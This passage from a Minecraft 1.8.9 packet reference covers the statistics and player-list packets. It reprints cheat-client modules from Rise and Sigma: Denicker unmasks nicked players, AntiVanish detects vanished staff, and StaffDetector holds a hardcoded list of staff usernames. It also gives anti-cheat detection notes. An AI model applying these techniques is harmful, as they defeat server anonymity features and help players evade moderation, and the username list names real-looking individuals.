      "h": "Exploit surface",
      "p": "The entire surface is the client-side cancel, and it is invisible: there is no serverbound stats packet, so the server never learns the client discarded the data. Anti-cheats ignore the packet entirely. The engineering subtlety is collateral: S37 bundles achievements with counters, so NoAchievements trades accurate local stats for a quiet toast; a surgical implementation would rewrite the map instead of cancelling the packet."
     }
    ],
    "overview": "The stats and achievements channel, normally invisible to cheat clients. Exactly one corpus module touches it: Rise 5.99 NoAchievements cancels the packet on receive to silence the achievement toast, accepting stale local counters as the price. Everything else in the corpus is vanilla handler and producer code.",
    "server_handling": "StatisticsFile.sendStats (join, full dump) and sendUpdate (per-change delta) both push via playerNetServerHandler.sendPacket. There is no rate limit, no acknowledgment and no retry: the server pushes and forgets, and the client applies whatever arrives. On join the packet is part of the login burst alongside S38 and S39.",
    "protocol_notes": "Encoding: VarInt count, then per entry a VarInt stat id and a VarInt value. Stat ids resolve against the client's own StatList tables; unknown ids are skipped silently. A full join dump is dozens of entries but each is compact, so the packet rarely matters for bandwidth. The values are absolute rather than deltas even in sendUpdate: the map holds the new totals.",
    "anticheat_landscape": "Not measured by any anti-cheat: no serverbound counterpart exists, so nothing about client behavior can be inferred from this stream, and the client-side cancel produces zero server-visible signal. Modules face no detection risk from S37 handling, which is why the only module in the corpus uses it as a blunt UI toggle.",
    "modules": [
     {
      "name": "NoAchievements",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Suppress the achievement notification toast by cancelling the entire statistics packet.",
      "how_it_works": "A PacketReceiveEvent handler checks the packet type and calls event.setCancelled(true) on every S37PacketStatistics. Because the packet bundles plain stat counters with achievements, cancelling it also kills the toast trigger inside handleStatistics; the local counters simply never update.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/render/NoAchievements.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.render;\n\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport net.minecraft.network.play.server.S37PacketStatistics;\nimport store.intent.intentguard.annotation.Exclude;\nimport store.intent.intentguard.annotation.Strategy;\n\n@Exclude({Strategy.NUMBER_OBFUSCATION, Strategy.FLOW_OBFUSCATION})\n@ModuleInfo(name = \"NoAchievements\", description = \"Removes the achievement notification\", category = Category.RENDER)\npublic final class NoAchievements extends Module {\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S37PacketStatistics)\n            event.setCancelled(true);\n    }\n}\n// NOTE (AI): The whole module is one cancel: no settings, no modes. It trades all local stat counters for a quiet toast because S37 bundles counters and achievements in a single map. Cancelling a clientbound packet is invisible to the server, which never learns whether the data was applied.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/render/NoAchievements.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Zero detection risk: the cancel is client-only and the packet has no serverbound counterpart, so the server sees no signal at all. The only cost is stale local statistics and achievement state.",
      "variations": "Single implementation in the corpus. Rise 6.x ships no NoAchievements module; it registers S37 for its script API instead."
     }
    ],
    "general_hooks": "PacketReceiveEvent on the client event bus; only Rise 5.99 registers one for S37.",
    "client_variations": "Rise 5.99 cancels the live packet via event.setCancelled(true); Rise 6.x has no module but whitelists the class in the script NetworkAPI.",
    "related": [
     "S38PacketPlayerListItem",
     "S39PacketPlayerAbilities"
    ],
    "anticheat": {
     "overview": "No anti-cheat reads the statistics packet. The corpus hits all match the Statistic or Statistics keyword, not the packet: Photon's DoubleStatistics and batch-processing math, TruthfulAC's Statistics utilities, Artemis' DescriptiveStatistics in the autoclicker checks, intave's CheckStatistics bookkeeping, Kauri's Interval summary statistics, Hydro's violation-message Statistics line, Shard's Bukkit Statistic enum reads in ProfileCommand, MC-Jinky's statistics key message and NCP's comment noise are all statistical infrastructure. The only direct packet references are registrations: Negativity's STATISTIC constant, FlopAC's NMSObject STATISTICS string, and Artemis' PacketRepository entry with the PacketPlayServerStatistic wrapper. S37 is pure server-authored display state with no serverbound counterpart, so nothing about client behavior can be inferred from it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The client can explicitly request its statistics through the Client Status packet, which the server answers with this packet.",
    "The statistic map covers block-mining, item crafting, use, breakage, pickup, and drop counters, entity kills and deaths-by-entity, plus custom counters such as play time, distances traveled, damage dealt and taken, deaths, mob kills, and player kills.",
    "MCP 1.8.9 S37PacketStatistics implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleStatistics; wire serde is readPacketData/writePacketData via readStringFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: StatisticsFile.func_150876_a sends new S37PacketStatistics (line 227): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/stats/StatisticsFile.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S37PacketStatistics/",
   "mcp_path": "net/minecraft/network/play/server/S37PacketStatistics.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S38PacketPlayerListItem",
   "hex": "0x38",
   "dec": 56,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Player List Item",
   "desc": "Adds, updates, or removes entries from the tab player list. Used for player join/leave, gamemode changes, ping updates, and display name changes.",
   "tags": [
    "player",
    "tablist"
   ],
   "fields": [
    {
     "name": "action",
     "type": "VarInt Enum",
     "desc": "0=ADD_PLAYER, 1=UPDATE_GAMEMODE, 2=UPDATE_LATENCY, 3=UPDATE_DISPLAY_NAME, 4=REMOVE_PLAYER"
    },
    {
     "name": "players",
     "type": "PlayerInfo[]",
     "desc": "List of AddPlayerData entries (UUID, name, profile properties, gamemode, ping, display name)"
    }
   ],
   "encoding": [
    [
     "Action",
     "VarInt Enum",
     "0=add, 1=updateGamemode, 2=updateLatency, 3=updateDisplayName, 4=remove"
    ],
    [
     "Number of Players",
     "VarInt",
     ""
    ],
    [
     "Per-Player Data",
     "UUID + String + Property[] + VarInt + VarInt + ChatComponent",
     "Varies by action type"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handlePlayerListItem()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Action 0 (ADD_PLAYER): UUID, name, skin properties, gamemode, ping, display name. Action 4 (REMOVE_PLAYER): just UUID. Action 2 (UPDATE_LATENCY): UUID + ping. This is how the client builds the tab list and gets player skins.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The tab list state machine: one VarInt action plus a list of per-player records. ADD_PLAYER (0) ships UUID, name, the skin property map, gamemode, ping and an optional display name; UPDATE_GAME_MODE (1) and UPDATE_LATENCY (2) carry a UUID plus one field; UPDATE_DISPLAY_NAME (3) a UUID plus an optional chat component; REMOVE_PLAYER (4) a bare UUID. ServerConfigurationManager broadcasts ADD on join, REMOVE on leave, and every 600 ticks it broadcasts UPDATE_LATENCY for the whole list, which is how ping reaches the tab GUI."
     },
     {
      "h": "Vanilla handling",
      "p": "handlePlayerListItem branches per action and mutates the player info map: ADD builds a NetworkPlayerInfo from the AddPlayerData, UPDATE_LATENCY overwrites the ping field, UPDATE_DISPLAY_NAME swaps the display name, REMOVE drops the entry. The ADD path doubles as the skin pipeline: the textures property is consumed by the player renderer. Server side, the packet constructors snapshot each EntityPlayerMP's profile, ping, gamemode and tab display name into records."
     },
     {
      "h": "Why clients touch it",
      "p": "Four modules across three clients. Rise 5.99 Denicker intercepts ADD_PLAYER, decodes the base64 textures property from the GameProfile and compares the embedded profileName against the displayed name to reveal nicked players, pairing results with S02PacketChat join lines. Rise 6.1.30 and 6.2.4 StaffDetector keep a hardcoded staff list, but the S38 handler is commented out in both builds, leaving only the PreMotion decay counter live. Sigma 4.11 AntiVanish reads UPDATE_LATENCY and REMOVE_PLAYER to catch vanished players, and FriendAlert notifies when an ADD_PLAYER name matches the friend list."
     },
     {
      "h": "Exploit surface",
      "p": "The ADD_PLAYER payload is the richest unencrypted metadata stream in the protocol: the full GameProfile including signed skin properties, which Denicker turns into an identity oracle that nick plugins do not scrub. UPDATE_LATENCY is a ping heartbeat that enables vanish detection: a vanished player stops appearing, and AntiVanish also flags latency updates for UUIDs absent from the player info map. No anti-cheat polices the packet; the countermeasures are tab-list plugins that strip or re-sign properties."
     }
    ],
    "overview": "The tab list state machine and the most information-dense clientbound metadata channel: ADD_PLAYER carries full GameProfiles with signed skin properties. Four corpus modules live on it: Rise 5.99 Denicker decodes skin payloads to un-nick players, Rise 6.x StaffDetector carries a disabled S38 hook, and Sigma 4.11 AntiVanish and FriendAlert track the latency heartbeat and join records.",
    "server_handling": "ServerConfigurationManager sends ADD to everyone when a player joins and REMOVE on quit; the joining player additionally receives ADD records for everyone already online. onTick broadcasts UPDATE_LATENCY for the whole list every 600 ticks. The channel is broadcast-only: the server never validates what the client does with the data, and there is no clientbound acknowledgment.",
    "protocol_notes": "The action is a VarInt enum. Record layout depends on action; the widest is ADD_PLAYER: UUID, name capped at 16 chars, VarInt property count, then per property name, value and optional signature strings with a boolean flag, then gamemode VarInt, ping VarInt and an optional chat component. Property strings cap at 32767 bytes. UPDATE_LATENCY entries are only UUID plus ping VarInt, which is why ping refreshes stay cheap.",
    "anticheat_landscape": "Not a detection surface; no anti-cheat measures tab list traffic. The realistic risks are social and structural: Denicker's un-nicking fails when servers strip profileName from the textures payload, and vanish alerts are defeated by networks that keep vanished players in the tab list, which is exactly why Sigma hard-disables AntiVanish on hypixel, hive and mineplex via a server-IP check.",
    "modules": [
     {
      "name": "Denicker",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Reveal the real identity of nicked players by decoding the signed skin texture payload from ADD_PLAYER records.",
      "how_it_works": "On PacketReceiveEvent, an ADD_PLAYER S38 is read: the first AddPlayerData's GameProfile is taken, the textures property is base64-decoded into JSON, and the embedded profileName is compared with the displayed name. Mismatches are queued as realName=nickedName pairs; S02PacketChat join messages are then scanned on a background thread, and a matching nick triggers a notification plus a log4j chat rewrite when overlay support is on.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Denicker.java =====\npackage dev.rise.module.impl.other;\n\nimport com.google.gson.JsonObject;\nimport com.google.gson.JsonParser;\nimport com.mojang.authlib.GameProfile;\nimport com.mojang.authlib.properties.Property;\nimport com.mojang.authlib.properties.PropertyMap;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.util.render.InGameBlurUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S38PacketPlayerListItem;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.StringUtils;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport java.util.ArrayList;\nimport java.util.Base64;\nimport java.util.Collection;\nimport java.util.Objects;\n\n@ModuleInfo(name = \"Denicker\", description = \"Denicks any nicked players in your game\", category = Category.OTHER)\npublic class Denicker extends Module {\n\n    private final BooleanSetting overlaySupport = new BooleanSetting(\"Overlay Support\", this, true);\n\n    private ArrayList<String> denickQueue = new ArrayList<String>();\n    private static final Logger logger = LogManager.getLogger();\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S38PacketPlayerListItem) {\n            S38PacketPlayerListItem s38 = (S38PacketPlayerListItem) event.getPacket();\n\n            if (s38.func_179768_b().equals(S38PacketPlayerListItem.Action.ADD_PLAYER) && (s38.func_179767_a().get(0) != null)) {\n                try {\n                    S38PacketPlayerListItem.AddPlayerData addPlayerData = s38.func_179767_a().get(0);\n                    GameProfile gameProfile = addPlayerData.getProfile();\n                    PropertyMap propertyMap = gameProfile.getProperties();\n                    String nickedName = gameProfile.getName();\n\n                    if (Objects.equals(nickedName, mc.thePlayer.getName())) return;\n\n                    // get base64 skin data from s38\n                    Collection<Property> values = propertyMap.get(\"textures\");\n                    if (values.isEmpty()) return;\n\n                    String skinDataRaw = ((Property) values.toArray()[0]).getValue();\n                    String skinData = new String(Base64.getDecoder().decode(skinDataRaw)); // decode base 64\n\n                    // json decoding\n                    JsonObject jsonObject = new JsonParser().parse(skinData).getAsJsonObject();\n                    String realName = jsonObject.get(\"profileName\").getAsString();\n\n                    if (!Objects.equals(realName, nickedName) && !denickQueue.contains(nickedName)) {\n                        denickQueue.add(realName + \"=\" + nickedName);\n                    }\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        } else if (event.getPacket() instanceof S02PacketChat) {\n            String message = ((S02PacketChat) event.getPacket()).chatComponent.getUnformattedText();\n\n            if (message.contains(\"has joined\") && !denickQueue.isEmpty()) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        for (String s : denickQueue) {\n\n                            String realName = s.split(\"=\")[0];\n                            String nickedName = s.split(\"=\")[1];\n\n                            if (message.contains(s.split(\"=\")[1])) {\n                                Rise.INSTANCE.getNotificationManager().registerNotification(realName + \" is nicked as \" + nickedName, 7500, NotificationType.NOTIFICATION);\n\n                                if (overlaySupport.isEnabled()) {\n                                    logger.info(\"[CHAT] \" + StringUtils.stripControlCodes(message.replace(nickedName, realName)));\n                                }\n                            }\n                        }\n                    }\n                });\n\n                thread.start();\n            }\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        denickQueue.clear();\n    }\n}\n// NOTE (AI): The identity oracle is the signed textures property: Mojang puts the real profileName inside the base64 payload, and nick plugins rewrite only the display name. The queue pairs realName=nickedName and matches them against S02 join messages on a background thread; the chat rewrite is injected through log4j, not through a packet. The world-change handler clears the queue so nicks do not leak across servers.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Denicker.java",
      "vanilla_hook": "PacketReceiveEvent; state reset on WorldChangedEvent.",
      "anti_cheat_notes": "No anti-cheat involvement; the countermeasure is server-side property scrubbing. Servers that strip or re-sign the textures property defeat the decode, which is why the module only works on networks that leave profileName intact.",
      "variations": "Rise 5.99 only; no other corpus client ships an S38-based denicker."
     },
     {
      "name": "StaffDetector",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Detect staff on the server by matching tab list names against a hardcoded staff list, then auto-leave via /hub.",
      "how_it_works": "The module keeps a hardcoded comma-separated staff name list and a PreMotion counter that decays each tick. In both corpus builds the actual packet handling is commented out: the S38 ADD_PLAYER and S3EPacketTeams branches that would count staff sightings and send /hub at count 6 are dead code. Only the name list and the decay counter remain live.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/StaffDetector.java =====\npackage com.alan.clients.module.impl.exploit;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.network.Packet;\n\n@ModuleInfo(aliases = {\"module.combat.staffdetector.name\"}, description = \"module.exploit.staffdetector.description\", category = Category.EXPLOIT)\npublic class StaffDetector extends Module {\n\n    BooleanValue autoLeave = new BooleanValue(\"Auto Leave\", this, true);\n\n    private String[] staff;\n\n    private int count;\n\n    public StaffDetector() {\n        String input = \"idhoom,7so,1sweet,jinaaan,ev2n,eissaa,mohmad_q8,1daykel,ximtaig_,nshme,comsterr,e9_,1meko,1lab,mk_f16,loovq,_sadeq,nv0ola,1f5amh___3oo,frecss217,xmz7,a2bod,eyeso_diamond,bunkrat,1rana,1ahmd,1heyimhasson_,casteret,1elyy,1zeyad,lt1x,firas,postme,3mmr,xl2d,yzed,y2men,iv2a,_nonameishere_,0hfault,deficency,anauri,xluffy1,kinderbueno__,_revoox_,xidayzer,i7ilin,1adam__,27bk,ventz_,awfultimes,ahm2d,gsomar,mvp11,xxkhaledxxcraft,aymann_,1iraqi,rambokinq,undertest,zswift,strongest0ne,neverletyouknow,zixgamer,sanfoor_j,ixghoul_,imbexsl_,glowdown_,hunter47,fexoranep,1reyleigh,420waffle,ywgiz,sweetyalice,xfahadq,mr3nb_,akash1004,zaytonaaa,rma7o,mr_1990,iali_305,wacros,lwwh,pynifical,rivsci,itsjuan_,meedo_qb,_r3,1speedo_,_justidk,505t,xzvv,mauveracer,_1hypersx_,rayqquaza,swivee,absqtulate,opgaming2009,vhagardracarys,luffy404,faisaal420,hdzt,sunsnipebeastwtf,_odex,1ashu,n13m_,callinu,sh59,drnyx,iisrab5bgii,haoeris,lxrayanxl,toxiclayer,greatm7md,brksfrb2,madix707,hnxrr,1sweetty,ohhhhqls,solidfying,_i_b,escoco,dreadpirater0b,aboshxm,0ryze,spuvr,va_1,kingpvp90,rieus,prebowed,mitsichu,gogglas,battlebay,32lbo,7far_8bor,evenfai,hlazny,valrm\";\n\n        staff = input.split(\",\");\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotion = event -> {\n        count = Math.max(0, count - 1);\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n//        if (packet instanceof S3EPacketTeams) {\n//            final S3EPacketTeams teams = (S3EPacketTeams) packet;\n//\n//            for (final String name : teams.func_149310_g()) {\n//                if (Arrays.asList(staff).contains(name.toLowerCase())) {\n//                    count++;\n//\n//                    if (count == 6) {\n//                        ChatUtil.display(\"Staff Detected \" + name);\n//\n//                        if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                    }\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S38PacketPlayerListItem) {\n//            S38PacketPlayerListItem item = ((S38PacketPlayerListItem) packet);\n//\n//            for (S38PacketPlayerListItem.AddPlayerData player : item.func_179767_a()) {\n//                if (player == null || player.getProfile() == null || player.getProfile().getName() == null) {\n//                    continue;\n//                } else if (!player.getProfile().getName().equals(\"SHOP\") && !player.getProfile().getName().equals(\"UPGRADES\")) {\n//                    ChatUtil.display(\"Username: \" + player.getProfile().getName());\n//                }\n//\n//                if (Arrays.asList(staff).contains(player.getProfile().getName().toLowerCase())) {\n//                    ChatUtil.display(\"Staff Detected \" + player.getProfile().getName());\n//\n//                    if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S) {\n//            S06PacketUpdateHealth health = ((S06PacketUpdateHealth) packet);\n//\n//        }\n    };\n}\n// NOTE (AI): The S38 handler is commented out in both 6.1.30 and 6.2.4: only the hardcoded staff list and the PreMotion decay counter remain live. The dead code documents the intended design: count staff sightings on S38 ADD_PLAYER and S3EPacketTeams, then send /hub once the counter reaches 6. The S38 block also shows the SHOP/UPGRADES filter used to skip NPC tab entries.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/StaffDetector.java",
      "vanilla_hook": "PacketReceiveEvent (disabled), PreMotionEvent (counter decay).",
      "anti_cheat_notes": "No anti-cheat risk; the feature is a reconnaissance countermeasure. The hardcoded list is per-network and rots quickly, which is presumably why the hook was disabled in the shipped builds.",
      "variations": "Rise 6.1.30 carries the same file under com/alan/clients/module/impl/exploit with the same commented-out S38 branch."
     },
     {
      "name": "AntiVanish",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Detect vanished players by watching UPDATE_LATENCY and REMOVE_PLAYER records that reference UUIDs absent from the tab list.",
      "how_it_works": "On EventPacket (incoming), UPDATE_LATENCY records are checked against mc.getNetHandler().getPlayerInfo(uuid): a latency update for a UUID with no player info entry is flagged as a vanished player and added to a watch list. On the update event, any watched UUID that later gains a player info entry is reported as un-vanished. A REMOVE_PLAYER branch prints the removed display name. A server-IP guard auto-disables on hypixel, hive and mineplex.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/AntiVanish.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventRenderGui;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.command.Command;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.network.play.server.S38PacketPlayerListItem;\n\nimport java.text.DateFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\npublic class AntiVanish extends Module {\n\n    private List<UUID> vanished = new CopyOnWriteArrayList<>();\n    private HashMap<UUID, String> uuidNames = new HashMap<>();\n    private int delay = 20 * -160;\n\n    public AntiVanish(ModuleData data) {\n        super(data);\n    }\n\n    @RegisterEvent(events = {EventUpdate.class, EventPacket.class, EventRenderGui.class})\n    public void onEvent(Event event) {\n\n        if (event instanceof EventUpdate) {\n            EventUpdate em = (EventUpdate) event;\n            if (em.isPre() && mc.getCurrentServerData() != null) {\n                String server = mc.getCurrentServerData().serverIP.toLowerCase();\n                if (server.contains(\"hypixel\") || server.contains(\"hive\") || server.contains(\"mineplex\")) {\n                    Notifications.getManager().post(\"Auto Config\", \"AntiVanish disabled for spam reasons.\", 1500, Notifications.Type.WARNING);\n                    toggle();\n                }\n                if (!vanished.isEmpty()) {\n                    if (delay > 20 * 160) {\n                        vanished.clear();\n                        Notifications.getManager().post(\"Vanish Cleared\", \"\\247fVanish List has been \\2476Cleared.\", 2500L,\n                                Notifications.Type.NOTIFY);\n                        delay = 20 * -160;\n                    } else {\n                        delay++;\n                    }\n                }\n                try {\n                    for (UUID uuid : vanished) {\n                        if (mc.getNetHandler().func_175102_a(uuid) != null && vanished.contains(uuid)) {\n                            Notifications.getManager().post(\"Vanish Warning\",\n                                    \"\\247b\" + mc.getNetHandler().func_175102_a(uuid).getDisplayName() + \"is no longer \\2476Vanished\",\n                                    2500L, Notifications.Type.NOTIFY);\n                            DateFormat dateFormat = new SimpleDateFormat(\"hh:mm a\");\n                            Date date = new Date();\n                            ChatUtil.printChat(Command.chatPrefix + \"\\2477[\" + dateFormat.format(date) + \"]\\247f \" + mc.getNetHandler().func_175102_a(uuid).getDisplayName() + \"is no longer \\247cVanished\");\n                        }\n                        vanished.remove(uuid);\n                    }\n                } catch (Exception e) {\n                    Notifications.getManager().post(\"Vanish Error\", \"\\247cSomething happened.\");\n                }\n            }\n        }\n        if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            if (ep.isIncoming() && (mc.theWorld != null) && ((ep.getPacket() instanceof S38PacketPlayerListItem))) {\n            \tS38PacketPlayerListItem listItem = (S38PacketPlayerListItem) ep.getPacket();\n                if (listItem.func_179768_b() == S38PacketPlayerListItem.Action.UPDATE_LATENCY) {\n                    for (Object o : listItem.func_179767_a()) {\n                        S38PacketPlayerListItem.AddPlayerData data = (S38PacketPlayerListItem.AddPlayerData) o;\n                        if ((mc.getNetHandler().func_175102_a(data.field_179964_d.getId()) == null)\n                                && (!checkList(data.field_179964_d.getId()))) {\n                            Notifications.getManager().post(\"Vanish Warning\",\n                                    \"\\247bA player is \\2476Vanished!\", 2500L,\n                                    Notifications.Type.WARNING);\n                            DateFormat dateFormat = new SimpleDateFormat(\"hh:mm a\");\n                            Date date = new Date();\n                            ChatUtil.printChat(Command.chatPrefix + \"\\2477[\" + dateFormat.format(date) + \"] \\247cVanish Alert.\");\n                            delay = 20 * -160;\n                        }\n                    }\n                } else if (listItem.func_179768_b() == S38PacketPlayerListItem.Action.REMOVE_PLAYER) {\n                    for (Object o : listItem.func_179767_a()) {\n                        S38PacketPlayerListItem.AddPlayerData data = (S38PacketPlayerListItem.AddPlayerData) o;\n                        UUID uuid = data.field_179964_d.getId();\n                        if(mc.getNetHandler().func_175102_a(uuid) != null && mc.getNetHandler().func_175102_a(uuid).getDisplayName() != null){\n                        \tChatUtil.printChat(\"\" +  mc.getNetHandler().func_175102_a(uuid));\n                        }\n                    }\n                }\t\n            }\n        }\n\n    }\n\n    private boolean checkList(final UUID uuid) {\n        if (this.vanished.contains(uuid)) {\n            return true;\n        }\n        this.vanished.add(uuid);\n        return false;\n    }\n}\n// NOTE (AI): UPDATE_LATENCY is the vanish oracle: every 600 ticks the server pings the whole list, so a UUID that receives latency updates without a matching player info entry is a vanished player. checkList() adds the UUID to the watch list on first miss. Note the hard server-IP guard that auto-disables on hypixel/hive/mineplex because those networks keep vanished players in the tab list, which would make every latency update a false positive.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/AntiVanish.java",
      "vanilla_hook": "EventPacket (incoming), EventUpdate (pre), EventRenderGui.",
      "anti_cheat_notes": "No anti-cheat risk; the module is pure tab list observation. Its practical weakness is structural: any server that keeps vanished players listed (Hypixel-style) defeats the oracle, which is why the module refuses to run there.",
      "variations": "Sigma-only. Rise 6.x attempts the inverse (staff detection) with a name list; no other client watches the latency heartbeat."
     },
     {
      "name": "FriendAlert",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Notify when a friend joins by matching ADD_PLAYER profile names against the friend manager.",
      "how_it_works": "On incoming EventPacket, an ADD_PLAYER S38 is iterated and each AddPlayerData's profile name is checked with FriendManager.isFriend; a match posts a Friend Alert notification with the name. The module reads only the name field and ignores the skin properties.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/FriendAlert.java =====\n/**\n * Time: 8:22:36 PM\n * Date: Jan 5, 2017\n * Creator: cool1\n */\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.management.friend.FriendManager;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.management.notifications.Notifications.Type;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport net.minecraft.network.play.server.S38PacketPlayerListItem;\n\n/**\n * @author cool1\n */\npublic class FriendAlert extends Module {\n\n    private boolean connect;\n    private String name;\n    private int currentY, targetY;\n    Timer timer = new Timer();\n\n    public FriendAlert(ModuleData data) {\n        super(data);\n        // TODO Auto-generated constructor stub\n    }\n\n    @Override\n    @RegisterEvent(events = {EventPacket.class})\n    public void onEvent(Event event) {\n        EventPacket ep = (EventPacket) event;\n        if (ep.isIncoming() && ep.getPacket() instanceof S38PacketPlayerListItem) {\n            S38PacketPlayerListItem packet = (S38PacketPlayerListItem) ep.getPacket();\n            if (packet.func_179768_b() == S38PacketPlayerListItem.Action.ADD_PLAYER) {\n                for (Object o : packet.func_179767_a()) {\n                    S38PacketPlayerListItem.AddPlayerData data = (S38PacketPlayerListItem.AddPlayerData) o;\n                    if (FriendManager.isFriend(data.field_179964_d.getName())) {\n                        Notifications.getManager().post(\"Friend Alert\", \"\\247b\" + data.field_179964_d.getName() + \" has joined!\", 2500L, Type.INFO);\n                    }\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): A minimal ADD_PLAYER consumer: it matches the profile name against FriendManager and posts a notification. It reads only the name field, so it is cheap and cannot be defeated by property stripping; the same handler shape is the base for every tab-list alert module.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/FriendAlert.java",
      "vanilla_hook": "EventPacket (incoming).",
      "anti_cheat_notes": "No detection surface; join alerts are indistinguishable from passive tab list rendering to the server.",
      "variations": "Sigma-only in the corpus; Rise 5.99's Denicker pairs ADD_PLAYER with S02 join messages instead of relying on the friend manager."
     }
    ],
    "general_hooks": "PacketReceiveEvent / incoming EventPacket is universal; Rise 6.x adds its component system on top of the same receive bus.",
    "client_variations": "Sigma reads fields through the MCP accessors (func_179768_b, func_179767_a, field_179964_d); Rise 5.99 uses the same MCP names; Rise 6.x uses renamed accessors (getMatches-style). None of the four modules mutate the packet; all are read-only consumers.",
    "related": [
     "S0CPacketSpawnPlayer",
     "S02PacketChat",
     "S39PacketPlayerAbilities"
    ],
    "anticheat": {
     "overview": "The player-list packet manages tab list entries: add, remove, and updates of game mode, ping and display name. Server-side anticheats almost never validate it, and in this corpus only Grim consumes it: one listener rewrites game modes to hide spectators, and the entity replication listener stores the UUID-to-profile mappings that checks use to resolve entity identities. The keyword noise in the corpus is tab-complete and math-table code, not player-list handling.",
     "checks": [
      {
       "name": "Spectator hiding in the player list (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Prevent spectators on Grim's spectate system from leaking through the tab list with spectator game mode.",
       "how_it_works": "PacketHidePlayerInfo is a HIGHEST-priority send listener. For PLAYER_INFO (pre-1.19.3) it walks the player data list and, for entries that should be hidden, rewrites SPECTATOR game mode to SURVIVAL, cancels the packet when every entry was hidden and the action was a pure game-mode update, and marks the packet for re-encoding otherwise. The 1.19.3+ PLAYER_INFO_UPDATE path does the same per entry, removes the UPDATE_GAME_MODE action from a cancelled packet, and re-encodes modified entries.",
